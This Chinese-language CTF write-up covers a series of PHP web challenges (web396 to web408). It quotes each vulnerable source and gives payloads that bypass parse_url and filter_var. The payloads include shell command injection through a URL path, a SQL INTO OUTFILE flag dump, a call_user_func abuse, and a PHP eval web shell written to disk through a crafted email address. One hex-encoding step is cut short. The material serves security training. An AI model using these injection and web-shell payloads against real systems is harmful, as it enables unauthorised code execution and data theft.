web396、397、398、399、400、401 parse_url 绕过
源码
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
shell_exec('echo '.$url['host'].'> '.$url['path']);
}else{
highlight_file(__FILE__);
}
这里没有什么限制直接绕过 payload一
?url=http://l/l;ls -al > 1.txt
访问即可看到文件
payload二
?url=http://l/l;cat%20fl0g.php > 3.txt
这里继续访问
web403
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host'])){
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
}
}else{
highlight_file(__FILE__);
}
首先拿到源码,简单判断一下,这里可以看到有个正则匹配,这个正则大概的意思就是匹配一个ip,所以我们只需要构造一个ip即可绕过 通过这个图片我们可以看出,我们可以执行的地方就在path 这里我放两张图片,然后就知道这里为啥是这样构造了 poc
?url=http://127.0.0.1/;echo cat fl0g.php >> a.txt
web406 filter_var绕过
require 'config.php';
highlight_file(__FILE__);
$url=$_GET['url'];
if(filter_var ($url,FILTER_VALIDATE_URL)){
$sql = "select * from links where url ='{$url}'";
$result = $conn->query($sql);
}else{
echo '不通过';
}
这里参考这一篇文章:PHP代码审计02之filter_var()函数缺陷 接下来简单分析一下,既然这边我们可以绕过这个函数,哪应该怎么哪到flag呢,首先这里有提示flag在数据库里面flag in db
<?php
require 'config.php';
$sql ='select flag from flag into outfile "/var/www/html/1.txt"';
$result = $conn->query($sql);
var_dump($result);
?>
转为16进制
http:
访问1.txt即可
web407 filter_var 回调函数ipv6绕过
highlight_file(__FILE__);
error_reporting(0);
$ip=$_GET['ip'];
if(filter_var ($ip,FILTER_VALIDATE_IP)){
call_user_func($ip);
}
class cafe{
public static function add(){
echo file_get_contents('flag.php');
}
}
cafe::add
web408 filter_var非法字符可以放在双引号里面绕过检测
highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
file_put_contents(explode('@', $email)[1], explode('@', $email)[0]);
}
email="<?=eval($_POST[1])?>"@1.php
这里用短标签的意思是因为,不能有空格,因为有个双引号然后浏览器会把空格转义为%20,然后因为双引号包含,最后导致写不进文件
参考文章php代码审计危险函数总结
|